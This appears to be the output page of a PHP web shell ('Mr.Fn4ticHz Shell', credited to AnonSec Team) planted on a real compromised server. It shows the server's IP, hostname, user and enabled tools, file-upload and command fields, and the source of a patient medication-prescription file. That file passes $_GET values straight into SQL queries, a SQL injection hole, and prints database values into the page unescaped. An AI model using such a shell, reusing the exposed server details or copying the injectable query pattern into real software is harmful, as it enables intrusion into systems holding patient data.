Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.162.49
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//testmedi.php

<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
?>

<?php
session_start();
include("dbconnection.php");
?>
<html>
 <head>
   
 </head>
 <body>
 <form name="add" method="post" id="add_details">
   
   <?php
   include("dbconnection.php");
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo "  <input type='hidden' name='prescriptionid' value='$rs[prescriptionid]'>
             <input type='hidden' name='patientid' value='$rs[patientid]'>
     ";
}
?>  

    <div class="form-group">
   <label>Drugs :   &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;   </label> <input  onkeyup="this.value = this.value.toUpperCase();" onchange="drmdiload(this.value)"  name='DRUGS' type='text' list='DRUGS' />
<datalist name='DRUGS' id='DRUGS'>
 
				<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM medicine_stok WHERE admin_id='$re[entered_by]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " 
<option value>Select one...</option>
 <option value='$rs[medicine_id]'>$rs[DRUGS_name]-$rs[Dose]</option>
 ";
}
}
?> 
  </datalist>	
  </div>
<div id='divmedidr'>
    </div>
    
     <div class="form-group">
         	<label>Route :   &nbsp; &nbsp; &nbsp; &nbsp;   </label>
				<select  name="Route" id="Route" name="Route">
    <option value="" disabled selected>Route &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp; &nbsp;  &nbsp;  &nbsp;&nbsp; </option>
    <option value="Orally">Orally</option>
    <option value="IV/IM">IV/IM</option>
    <option value="Sublingually/ Buccally">Sublingually/ Buccally</option>
    <option value="Vaginally">Vaginally</option>
    <option value="Ocular/ Otic"> Ocular/ Otic </option>
    <option value="Nasally">Nasally</option>
    <option value="Inhalation/Nebulization">Inhalation/Nebulization</option>
    <option value="cutaneously/systemic">cutaneously/systemic</option>
    <option value="transdermally">transdermally</option>
	</select>
         
         </div>
         
            <div class="form-group">
         <label>Frequency:</label>
				<select name="Frequency">
    <option value="" disabled selected>Frequency</option>
    <option value="OD (Once Daily)">OD (Once Daily)</option>
    <option value="BID/b.i.d. (twice a day)">BID/b.i.d. (twice a day)</option>
    <option value="TID/t.id. (three times a day)">TID/t.id. (three times a day)</option>
    <option value="QID/q.i.d. (four times a day)">QID/q.i.d. (four times a day)</option>
    <option value="QHS (every bedtime)"> QHS (every bedtime) </option>
    <option value="Q4h (every 4 hours)">Q4h (every 4 hours)</option>
    <option value="Q4-6h (every 4 to 6 hours)">Q4-6h (every 4 to 6 hours)</option>
    <option value="QWK (every week)">QWK (every week)</option>
	</select>
	</div>
	
	  <div class="form-group">
         <label>Duration:   &nbsp; &nbsp;</label>
         <input type='number' name='duration'>
         </div>
         
         <input type="hidden" value="Delete" name='action'>
          
    <div class="form-group">
     <input type="submit" name="add" id="add" class="btn btn-success" value="Add" />
    </div>
   
   </form>

   <table id="myTable" class="table table-striped table-bordered">
    <thead>
     <tr>
      <th>Medication Details</th>
      <th>Intake</th>
         <th>Action</th>
     </tr>
    </thead>
    <tbody id="table_data">
    <?php
    foreach($result as $row)
    {
     echo '
     <tr>
      <td>'.$row["prescriptionid"].'</td>
      <td>'.$row["patientid"].'</td> 
     <td>'.$row["DRUGS_name"].'</td> 
     </tr>
     ';
    }
    ?>
    </tbody>
   </table>
 </body>
</html>

<script>
var deleteData = function(id){
    $.ajax({    
        type: "GET",
        url: "delete-data.php", 
        data:{deleteId:id},            
        dataType: "html",                  
        success: function(data){   
        $('#msg').html(data);
       $('#table-container').load('fetch-data.php');
           
        }
    });
};
</script>
<script>
$(document).ready(function(){
 
 $('#add_details').on('submit', function(event){
  event.preventDefault();
  $.ajax({
   url:"insert.php",
   method:"POST",
   data:$(this).serialize(),
   dataType:"json",
   beforeSend:function(){
    $('#add').attr('disabled', 'disabled');
   },
   success:function(data){
    $('#add').attr('disabled', false);
    if(data.prescriptionid)
    {
     var html = '<tr>';
     html += '<td>'+data.DRUGS+'-';
     html += ''+data.DRUGS_name+'-';
     html += ''+data.Dose+'-';
      html += ''+data.Category+'-';
       html += ''+data.Route+'<br><b>';
     html += ''+data.Composition+'</b></td>';
     html += '<td> <b>Frequency : </b>'+data.Frequency+'<br>';
     html += '<b>Duration : </b>'+data.duration+' Days</td></tr>';
     $('#table_data').prepend(html);
     $('#add_details')[0].reset();
    }
   }
  })
 });
 
});
</script>



<script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>



Anon7 - 2022
AnonSec Team